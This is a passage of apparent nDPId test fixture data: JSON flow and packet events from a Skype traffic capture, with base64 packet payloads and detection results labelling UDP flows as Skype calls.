+00686{"flow_id":12,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":502,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969653,"pkt_ts_usec":119942,"pkt_caplen":257,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":257,"pkt_l4_len":223,"pkt":"0NQSxnP1PBXCt3IOCABFAADzP99AAEAG11rAqAEiF99JIsNrAbvkkjeTMYDD\/oAZECzNsAAAAQEICj4itQP301nQFgMBALoBAAC2AwNVWh9qIUBTYdqPuvpJ\/EUxWvWdVTCc6qQWuOlUPkFPXAAASgD\/wCTAI8AKwAnACMAowCfAFMATwBLAJsAlwAXABMADwCrAKcAPwA7ADQBrAGcAOQAzABYAPQA8ADUALwAKwAfAEcACwAwABQAEAQAAQwAAABkAFwAAFGFwcHMuc2t5cGVhc3NldHMuY29tAAoACAAGABcAGAAZAAsAAgEAAA0ADAAKBQEEAQIBBAMCAzN0AAA="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":503,"source":"skype.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":1,"flow_first_seen":1431969653376,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.155","src_port":13021,"dst_port":40020,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00431{"flow_id":25,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":503,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969653,"pkt_ts_usec":376411,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"0NQSxnP1PBXCt3IOCABFAAA4KG4AAEARcKrAqAEinTeCmzLdnFQAJDcMm5ICyNK5iZjkkcxv0MQR2rwmgaeyTFibCj82iA=="} +00516{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":503,"source":"skype.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":1,"flow_first_seen":1431969653376,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.155","src_port":13021,"dst_port":40020,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":504,"source":"skype.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_first_seen":1431969653376,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.142","src_port":13021,"dst_port":40023,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00431{"flow_id":26,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":504,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969653,"pkt_ts_usec":376411,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"0NQSxnP1PBXCt3IOCABFAAA6eUkAAEARgjTAqAEib91NjjLdnFcAJt55m5QCPbPKJuLeDOim50Iw20p93HTUvcQYvwIjUtlP"} +00516{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":504,"source":"skype.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_first_seen":1431969653376,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.142","src_port":13021,"dst_port":40023,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":505,"source":"skype.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":1,"flow_first_seen":1431969653376,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.15","src_port":13021,"dst_port":40024,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":27,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":505,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969653,"pkt_ts_usec":376578,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"0NQSxnP1PBXCt3IOCABFAAA\/jgcAAEARcPDAqAEib91KDzLdnFgAK3qlm5YCVGMQ34A4D4rgbT25j64U\/rdJx+5zd3Em6+QXhoxyxA8="} +00515{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":505,"source":"skype.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":1,"flow_first_seen":1431969653376,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.15","src_port":13021,"dst_port":40024,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":506,"source":"skype.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_first_seen":1431969653376,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.46","src_port":13021,"dst_port":40027,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00431{"flow_id":28,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":506,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969653,"pkt_ts_usec":376578,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"0NQSxnP1PBXCt3IOCABFAAA5a+4AAEARkvDAqAEib91KLjLdnFsAJRNlm5gCrA8YBMpkQAilpoWSkSOFSSJ7mpap5i7P8hQ="} +00515{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":506,"source":"skype.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_first_seen":1431969653376,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.46","src_port":13021,"dst_port":40027,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":507,"source":"skype.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1431969653376,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.15","src_port":13021,"dst_port":40026,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00424{"flow_id":29,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":507,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969653,"pkt_ts_usec":376578,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0K\/cAAEARbLHAqAEiQTffDzLdnFoAIDycm5oCpFKxpTcQMqT3s1qudFIeHwatW0Yo"} +00514{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":507,"source":"skype.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1431969653376,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.15","src_port":13021,"dst_port":40026,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00435{"flow_id":9,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":508,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969653,"pkt_ts_usec":798202,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8cW5AAEAG5yrAqAEiQTffIcNqnEKAlL7NMr3ZNIAYECiWawAAAQEICj4it6hNl5tsq7xG5CK7Tso="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":509,"source":"skype.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_first_seen":1431969654389,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.160","src_port":13021,"dst_port":40028,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00427{"flow_id":30,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":509,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969654,"pkt_ts_usec":389094,"pkt_caplen":68,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":68,"pkt_l4_len":34,"pkt":"0NQSxnP1PBXCt3IOCABFAAA2YJcAAEARmtjAqAEib91NoDLdnFwAInstm5wC0d61W0FRabgFV8W1nkBP2OEpO4vgeHY="} +00516{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":509,"source":"skype.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_first_seen":1431969654389,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.160","src_port":13021,"dst_port":40028,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":510,"source":"skype.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":1431969654389,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.28","src_port":13021,"dst_port":40009,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00439{"flow_id":31,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":510,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969654,"pkt_ts_usec":389095,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAYWsAAEARhiPAqAEinTg0HDLdnEkALM83m54CE+gbUNd25CDT9n3foWmJBdcqOFnduxapZrLe74dYiza3"} +00514{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":510,"source":"skype.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":1431969654389,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.28","src_port":13021,"dst_port":40009,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":511,"source":"skype.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":1,"flow_first_seen":1431969654389,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.176","src_port":13021,"dst_port":40022,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00439{"flow_id":32,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":511,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969654,"pkt_ts_usec":389222,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAwK8AAEARb0vAqAEinTfrsDLdnFYALGUnm6AC1ZExgfTg8R8Kk2ngcBhiodhOGddomI+8IvUKr50t+FQG"} +00516{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":511,"source":"skype.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":1,"flow_first_seen":1431969654389,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.176","src_port":13021,"dst_port":40022,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":512,"source":"skype.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":1431969654389,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.15","src_port":13021,"dst_port":40027,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00428{"flow_id":33,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":512,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969654,"pkt_ts_usec":389223,"pkt_caplen":68,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":68,"pkt_l4_len":34,"pkt":"0NQSxnP1PBXCt3IOCABFAAA2ttcAAEARMM7AqAEinTg0DzLdnFsAIgnVm6IClklzvpwg0J9RRu2barB5pBf+dP\/198s="} +00514{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":512,"source":"skype.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":1431969654389,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.15","src_port":13021,"dst_port":40027,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":513,"source":"skype.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_first_seen":1431969654389,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.165","src_port":13021,"dst_port":40020,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00431{"flow_id":34,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":513,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969654,"pkt_ts_usec":389223,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"0NQSxnP1PBXCt3IOCABFAAA6uggAAEARpzfAqAEiQAQXpTLdnFQAJvWzm6QCh3CXl6XGrqArz4Fq72vdiruIePdvscfnf8nL"} +00513{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":513,"source":"skype.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_first_seen":1431969654389,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.165","src_port":13021,"dst_port":40020,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":515,"source":"skype.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":1,"flow_first_seen":1431969655399,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.150","src_port":13021,"dst_port":40004,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00440{"flow_id":35,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":515,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969655,"pkt_ts_usec":399908,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"0NQSxnP1PBXCt3IOCABFAAA+KmIAAEARBSXAqAEi1cezljLdnEQAKk92m6YCxHNRXNt6saUbXJuaVxAVloiUB3Kd06UQ7eXoZ8Yw\/Q=="} +00517{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":515,"source":"skype.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":1,"flow_first_seen":1431969655399,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.150","src_port":13021,"dst_port":40004,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":516,"source":"skype.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":1,"flow_first_seen":1431969655399,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.24","src_port":13021,"dst_port":40001,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00423{"flow_id":36,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":516,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969655,"pkt_ts_usec":399908,"pkt_caplen":64,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":64,"pkt_l4_len":30,"pkt":"0NQSxnP1PBXCt3IOCABFAAAysnAAAEARTIvAqAEib91KGDLdnEEAHsG9m6gCfNYVHSc6jWjicVy5t1mw5NpUpQ=="} +00515{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":516,"source":"skype.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":1,"flow_first_seen":1431969655399,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.24","src_port":13021,"dst_port":40001,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":517,"source":"skype.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":1,"flow_first_seen":1431969655400,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.48","src_port":13021,"dst_port":40008,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":37,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":517,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969655,"pkt_ts_usec":400081,"pkt_caplen":75,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":75,"pkt_l4_len":41,"pkt":"0NQSxnP1PBXCt3IOCABFAAA9FyIAAEAR57bAqAEib91KMDLdnEgAKadmm6oC656jqkVeUmOjjlOF7oTonkHhDKTP6NWeDWkwfWY5"} +00515{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":517,"source":"skype.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":1,"flow_first_seen":1431969655400,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.48","src_port":13021,"dst_port":40008,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":518,"source":"skype.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":1,"flow_first_seen":1431969655400,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.42","src_port":13021,"dst_port":40024,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00432{"flow_id":38,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":518,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969655,"pkt_ts_usec":400081,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"0NQSxnP1PBXCt3IOCABFAAA4PBwAAEARwsfAqAEib91KKjLdnFgAJKhzm6wCYALzkzdu\/LrNPcT4NWmc+JYpVJ3L9m5YbQ=="} +00515{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":518,"source":"skype.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":1,"flow_first_seen":1431969655400,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.42","src_port":13021,"dst_port":40024,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":519,"source":"skype.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":1,"flow_first_seen":1431969655400,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.146","src_port":13021,"dst_port":33033,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00428{"flow_id":39,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":519,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969655,"pkt_ts_usec":400081,"pkt_caplen":67,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":67,"pkt_l4_len":33,"pkt":"0NQSxnP1PBXCt3IOCABFAAA1xDsAAEARa1jAqAEi1cezkjLdgQkAIXwbm64C\/E7GKHTAnqTXhScHNyy9JU+1q7MSwg=="} +00517{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":519,"source":"skype.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":1,"flow_first_seen":1431969655400,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.146","src_port":13021,"dst_port":33033,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":533,"source":"skype.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":1,"flow_first_seen":1431969656410,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.175","src_port":13021,"dst_port":40006,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":40,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":533,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969656,"pkt_ts_usec":410462,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8yZkAAEARz2bAqAEinTeCrzLdnEYAKHoim7AC0Uz4eUhtRx+U2n96ruKge0mKrTm6r7jfF82JDy4="} +00516{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":533,"source":"skype.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":1,"flow_first_seen":1431969656410,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.175","src_port":13021,"dst_port":40006,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":534,"source":"skype.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":1,"flow_first_seen":1431969656410,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.162","src_port":13021,"dst_port":40004,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00439{"flow_id":41,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":534,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969656,"pkt_ts_usec":410539,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"0NQSxnP1PBXCt3IOCABFAAA+lOIAAEARTinAqAEinTc4ojLdnEQAKlJUm7IC63nFT7uUV5k0L358bPvax6aIijF38KySzDuXwNYHgA=="} 